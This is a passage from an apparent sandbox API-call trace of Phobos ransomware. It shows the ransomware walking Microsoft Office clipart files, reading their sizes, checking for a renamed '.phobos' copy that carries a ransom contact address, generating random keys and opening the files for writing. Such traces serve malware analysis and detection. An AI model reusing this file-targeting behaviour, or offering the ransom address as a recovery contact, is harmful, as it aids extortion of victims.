files\\microsoft office\\root\\clipart\\pub60cor\\j0281638.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.248] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0281638.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0281638.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.248] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0152.248] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0281640.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0281640.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.248] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=12530) returned 1 [0152.248] CloseHandle (hObject=0x564) returned 1 [0152.249] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0281640.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0281640.wmf")) returned 0x220 [0152.249] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0281640.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0281640.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.249] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0281640.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0281640.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.249] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0152.249] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0282126.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0282126.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.250] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=15518) returned 1 [0152.250] CloseHandle (hObject=0x564) returned 1 [0152.250] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0282126.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0282126.wmf")) returned 0x220 [0152.250] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0282126.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0282126.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.250] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0282126.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0282126.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.250] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0152.250] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0282928.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0282928.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.251] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=33126) returned 1 [0152.251] CloseHandle (hObject=0x564) returned 1 [0152.252] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0282928.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0282928.wmf")) returned 0x220 [0152.252] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0282928.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0282928.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.252] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0282928.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0282928.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.252] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0152.252] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0282932.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0282932.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.253] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=14080) returned 1 [0152.253] CloseHandle (hObject=0x564) returned 1 [0152.253] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0282932.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0282932.wmf")) returned 0x220 [0152.253] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0282932.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0282932.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.253] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0282932.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0282932.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.253] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0152.253] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0285462.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0285462.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.255] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=14474) returned 1 [0152.255] CloseHandle (hObject=0x564) returned 1 [0152.255] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0285462.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0285462.wmf")) returned 0x220 [0152.255] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0285462.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0285462.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.255] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0285462.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0285462.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.255] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0152.255] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0285484.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0285484.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.257] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=9280) returned 1 [0152.257] CloseHandle (hObject=0x564) returned 1 [0152.257] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0285484.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0285484.wmf")) returned 0x220 [0152.257] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0285484.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0285484.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.257] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0285484.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0285484.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.257] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0152.257] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0285780.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0285780.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.258] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=31068) returned 1 [0152.258] CloseHandle (hObject=0x564) returned 1 [0152.258] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0285780.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0285780.wmf")) returned 0x220 [0152.258] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0285780.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0285780.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.258] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0285780.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0285780.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.258] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0152.258] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0285782.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0285782.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.260] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=21054) returned 1 [0152.260] CloseHandle (hObject=0x564) returned 1 [0152.260] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0285782.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0285782.wmf")) returned 0x220 [0152.260] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0285782.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0285782.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.260] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0285782.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0285782.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.260] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0152.260] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0285792.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0285792.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.262] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=11956) returned 1 [0152.262] CloseHandle (hObject=0x564) returned 1 [0152.262] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0285792.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0285792.wmf")) returned 0x220 [0152.262] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0285792.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0285792.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.262] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0285792.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0285792.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.262] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0152.262] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0285796.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0285796.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.263] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=13648) returned 1 [0152.263] CloseHandle (hObject=0x564) returned 1 [0152.263] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0285796.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0285796.wmf")) returned 0x220 [0152.263] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0285796.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0285796.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.263] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0285796.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0285796.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.264] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0152.264] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0285808.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0285808.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.264] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=9204) returned 1 [0152.264] CloseHandle (hObject=0x564) returned 1 [0152.264] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0285808.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0285808.wmf")) returned 0x220 [0152.264] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0285808.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0285808.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.264] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0285808.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0285808.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.265] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0152.265] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0285820.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0285820.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.266] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=8720) returned 1 [0152.266] CloseHandle (hObject=0x564) returned 1 [0152.266] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0285820.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0285820.wmf")) returned 0x220 [0152.266] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0285820.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0285820.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.266] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0285820.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0285820.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.267] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0152.267] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0285822.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0285822.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.268] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=8608) returned 1 [0152.268] CloseHandle (hObject=0x564) returned 1 [0152.268] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0285822.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0285822.wmf")) returned 0x220 [0152.268] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0285822.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0285822.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.268] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0285822.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0285822.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.268] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0152.268] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0287018.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0287018.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.269] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=30872) returned 1 [0152.269] CloseHandle (hObject=0x564) returned 1 [0152.269] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0287018.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0287018.wmf")) returned 0x220 [0152.269] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0287018.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0287018.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.269] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0287018.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0287018.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.270] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0152.270] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0287019.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0287019.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.271] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=37658) returned 1 [0152.271] CloseHandle (hObject=0x564) returned 1 [0152.271] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0287019.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0287019.wmf")) returned 0x220 [0152.271] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0287019.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0287019.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.271] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0287019.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0287019.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.271] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0152.271] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0287020.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0287020.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.272] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=32984) returned 1 [0152.272] CloseHandle (hObject=0x564) returned 1 [0152.272] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0287020.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0287020.wmf")) returned 0x220 [0152.272] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0287020.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0287020.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.272] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0287020.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0287020.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.272] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0152.273] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0287024.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0287024.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 